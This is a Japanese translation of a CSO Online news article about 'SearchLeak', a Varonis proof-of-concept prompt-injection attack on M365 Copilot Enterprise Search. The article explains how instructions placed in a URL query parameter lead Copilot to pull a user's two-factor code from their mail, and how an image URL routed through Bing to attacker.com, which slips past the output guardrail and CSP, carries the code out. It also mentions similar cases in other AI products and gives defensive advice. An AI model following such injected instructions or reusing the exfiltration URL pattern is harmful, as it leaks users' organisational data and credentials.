M365 Copilot SearchLeak: プロンプトインジェクションの攻撃対象が拡大

初の事例ではないものの、研究者たちによるMicrosoftのM365 Copilot Enterpriseへの概念実証攻撃は、パラメーター・トゥ・プロンプト(P2P)インジェクションが広範な脅威となり得ることを改めて示しています。

MicrosoftのM365 Copilot Enterpriseを標的とした最新の概念実証(PoC)攻撃は、多くのAI強化型Webサービスに共通する動作方式に起因する、より広範なプロンプトインジェクション脅威の可能性を浮き彫りにしています。

「SearchLeak」と名付けられたこの攻撃は、典型的な悪意ある目的に基づいています。細工されたリンクをクリックさせることで従業員を欺き、企業の機密データを外部に流出させるというものです。

この攻撃を実行するにあたり、研究者たちはCopilot Enterprise Searchの実装に存在する3つの脆弱性を組み合わせました。そのうちの1つは、他のAI対応アプリケーションでも問題となり得るものです。Microsoftは情報漏えいの欠陥を「Critical(重大)」と評価し、今月上旬にサーバー側で脆弱性にパッチを適用しました。しかしこの攻撃は、AIサービスがユーザーの代わりに企業資産への広範なアクセス権を持つことの危険性をも示しています。

「SearchLeakはMicrosoftのEnterpriseティアを標的としているため、影響範囲は個人データにとどまりません。メール、会議の招待状やメモ、SharePointドキュメント、OneDriveファイル、その他のインデックス済みビジネスコンテンツなど、ユーザーが組織内でアクセスできるあらゆる情報が対象となります」と、Varonis Threat Labsの研究者たちはレポートの中で述べています。「M365が環境にどのように接続されているかによっては、影響範囲はさらに広がる可能性があります。」

パラメーター・トゥ・プロンプト・インジェクション

この攻撃を可能にしているのは、Microsoft Copilot Enterprise Searchの動作方式です。

多くのWebアプリケーションの検索機能と同様に、Copilot SearchはURLに含まれる?q=[query]パラメーターを使用しています。しかしCopilot SearchはAI駆動であるため、クエリパラメーターは単純な検索クエリだけでなく、自然言語によるプロンプトも受け付けます。

「URLパラメーターを、データをひそかに外部へ送り出すAI命令に変えてしまう?これがAIネイティブの要素です」と研究者たちは述べています。「これが、古典的な脆弱性を通常では不可能な方法で悪用可能にする新たな攻撃対象領域です。SearchLeakとRepromptを通じて、私たちはそれを目の当たりにしました。」

Repromptは、Varonisの研究者たちがMicrosoft Copilot Personalで発見し、今週公開した類似の攻撃です。しかし、Varonisがパラメーター・トゥ・プロンプト(P2P)インジェクションと名付けたものには、他にも先例があります。昨年10月、LayerXの研究者たちはPerplexityのCometブラウザにプロンプトインジェクションの脆弱性を発見しました。これも、URLのq=パラメーターを通じてAI搭載の検索エンジンにデータ漏えい命令を渡す手法に依存していました。

さらにそれ以前の2025年7月、Tenableの研究者たちはChatGPTに悪意を持って細工されたURLを使用する脆弱性を発見しています。URLクエリパラメーターがAI搭載アプリケーションでオンザフライのプロンプト実行を可能にする一般的な手段となるにつれ、この攻撃ベクターは今後さらに広く悪用される可能性があります。

「他の多くのLLMも確認しましたが、一部は類似の手法が使えることがわかりました」と、VaronisのセキュリティリサーチチームリーダーであるMark VaitsmanはCSOに語りました。「この種のテクニックが使えるLLMは他にもありますが、受け入れる内容について非常に厳格なものもあります。」

データの外部流出

LLMに不正なプロンプトを実行させて企業データにアクセスすることは、攻撃を成功させるための要素の一つにすぎません。もう一つの要素は、そのデータを外部サーバーへ送り出す方法の確保です。Webサービスをだましてブラウザのユーザーにデータを表示させるだけでは、本質的にセキュリティリスクとはなりません。ユーザーはすでにそのデータを検索・アクセスできるからです。

プロンプトインジェクション攻撃における一般的なデータ外部流出手法として、AI搭載WebアプリケーションがレスポンスをHTMLとしてレンダリングする機能を悪用するものがあります。HTMLには<img>タグのように、ブラウザにリモートリソースへのリクエストを送信させる要素を含められるからです。こうしたタグを悪用することで、攻撃者は自身が管理するサーバーへのブラウザリクエストを通じてデータを外部に漏えいさせることができます。

Copilot Enterprise Searchの場合、MicrosoftはLLMの検索レスポンスを<code>ブロックで囲んでブラウザにテキストとして表示するガードレールを設けていました。しかしVaronisの研究者たちは、このラッピングがモデルの思考フェーズ完了後まで適用されないことを発見しました。思考プロセス自体は、ユーザーのブラウザでHTMLとしてレンダリングされていたのです。

「これは教科書どおりの競合状態です」と研究者たちは述べています。「ガードレールは最終出力に適用されるポスト処理のステップですが、ブラウザは『最終』を待ちません。インクリメンタルにレンダリングするのです。サニタイザーが動作するころには、すでに被害が発生しています。」

Microsoftには2つ目のガードレールとして、コンテンツセキュリティポリシー(CSP)も設けられていました。CSPはWebサイトのオーナーが、ページにリソースを読み込める外部ドメインを定義できるものです。この場合、m365.cloud.microsoft.comのCSPはMicrosoftの検索エンジンである*.bing.comからのリソースも許可していました。

BingのImage Searchは外部サーバーから画像を取得するためのimgurl=URLパラメーターをサポートしています。そのため、研究者たちはBingのImage Searchをプロキシとして利用し、データを外部に流出させることができました。

Varonisが開発した概念実証(PoC)の攻撃チェーンは、メールで送信されたユーザーの二要素認証コードを漏えいさせる手順を示しました。まずCopilot Enterprise Searchへのリンクを細工し、ユーザーのメールボックスからそのコードが含まれるメールを検索してコードを変数に格納し、ソースがhttps://www.bing.com/images/searchbyimage?cbir=sbi&imgurl=https://attacker.com/$variable/img.pngとなる<img>を含むレスポンスを生成するよう指示します。

「Copilot Enterpriseはユーザーの完全なグラフ権限で動作するため、攻撃者は一切の認証を行わずに被害者の組織データへのアクセスを実質的に引き継ぐことができます」と研究者たちは明らかにしています。「これにより、被害者が気づかないままアカウント乗っ取りや広範なデータ窃取が可能になります。攻撃者側に特別な権限は不要で、細工されたURLと被害者のワンクリックだけで十分です。」

より広範な影響への対策

これらのPOC攻撃が示しているのは、AI搭載のWebアプリケーションやサービスの開発者が、URLクエリパラメーターを通じて受け付けるプロンプトの種類をフィルタリングし、出力をポスト処理ではなくレンダリング時にサニタイズする必要があることです。また、CSPポリシーについても、ホワイトリストに登録されたドメインを経由したサーバーサイドリクエストフォージェリ(SSRF)のリスクを見直す必要があります。

こうしたサービスを利用する組織は、特にエンコードされている場合、長いクエリパラメーターを含むリンクを疑うよう従業員を教育すべきです。セキュリティチームは、HTMLタグやそれらのタグにデータを埋め込む命令が含まれるURLへのリクエストを検知・ブロックする体制を整えるべきでしょう。

翻訳元: https://www.csoonline.com/article/4186970/m365-copilot-searchleak-your-prompt-injection-attack-surface-just-got-bigger.html

ソース: csoonline.com